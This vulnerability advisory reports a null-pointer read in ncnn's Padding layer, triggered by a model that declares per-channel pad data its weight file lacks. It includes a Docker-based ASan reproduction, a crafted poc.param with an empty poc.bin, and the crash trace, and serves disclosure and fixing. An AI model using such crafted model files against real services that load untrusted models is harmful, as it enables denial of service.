Malformed Padding Model Causes Denial of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/padding.cpp:338 in Padding::forward
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x6141fbb76163 bp 0x7ffec0933670 sp 0x7ffec0932e20 T0)
Summary
A Padding layer that declares per-channel pad values which the .bin file does not actually contain crashes the model-processing process with a null read. Padding::load_model calls ModelBin::load for the per-channel buffer, ignores the failure, and returns success, leaving per_channel_pad_data empty while per_channel_pad_data_size stays non-zero. Padding::forward uses the parameter, not the buffer, to decide whether to index. The PoC drives ncnnoptimize, whose ModelWriter::shape_inference() executes the layer after Net::load_model returns.
Detail
The untrusted field is the Padding parameter 6 (per_channel_pad_data_size), plus the length of the .bin stream. load_param stores the count with no upper bound and no relation to the weight file. load_model reads the buffer only when the count is non-zero — but it neither checks .empty() on the result nor returns an error code, so a truncated or empty .bin produces a silent failure: ModelBin::load prints ModelBin read weight_data failed 0, returns a default Mat, and Padding::load_model still returns 0.
Every subsequent use of the buffer is gated on per_channel_pad_data_size rather than on the buffer itself. In the 3D branch of forward, the ternary at line 338 evaluates per_channel_pad_data[q] for each output channel because the count is non-zero, reading through the null data pointer of the empty Mat. The same pattern appears again at line 394 for the 4D branch.
// src/layer/padding.cpp:22
per_channel_pad_data_size = pd.get(6, 0);
// src/layer/padding.cpp:29
int Padding::load_model(const ModelBin& mb)
{
if (per_channel_pad_data_size)
{
per_channel_pad_data = mb.load(per_channel_pad_data_size, 1);
}
return 0;
}
// src/layer/padding.cpp:336
Mat borderm = top_blob.channel(q);
float pad_value = per_channel_pad_data_size ? per_channel_pad_data[q] : value;
The PoC pairs Input input 0 1 data 0=1 1=1 2=2 (a 1x1x2, i.e. dims == 3, tensor) with Padding pad 1 1 data out 0=1 1=1 2=1 3=1 4=0 5=0 6=1, so per_channel_pad_data_size == 1, and writes a zero-byte poc.bin. mb.load(1, 1) reads at EOF and fails, leaving per_channel_pad_data empty. During shape_inference() the layer runs with front == behind == 0, so outc == channels == 2; at q == 0 the ternary at line 338 takes the true branch and dereferences nullptr + 0, terminating the process.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-padding-model-causes-denial-of-service && cd ncnn-poc-malformed-padding-model-causes-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC_EOF'
7767517
2 2
Input input 0 1 data 0=1 1=1 2=2
Padding pad 1 1 data out 0=1 6=1
POC_EOF
cat > poc.bin <<'POC_EOF'
POC_EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0
AddressSanitizer output:
ModelBin read weight_data failed 0
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x619ff0a9b163 bp 0x7fff8f07d6b0 sp 0x7fff8f07ce60 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x619ff0a9b163 in ncnn::Padding::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/padding.cpp:338
#1 0x619ff0af42cb in ncnn::Padding_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/padding_x86_avx512.cpp:503
#2 0x619feb89ef2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x619feb890b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x619feb8f09e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x619feb7823c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x619feb7ffeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x79b10eabb1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x79b10eabb28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x619feb77f624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/padding.cpp:338 in ncnn::Padding::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst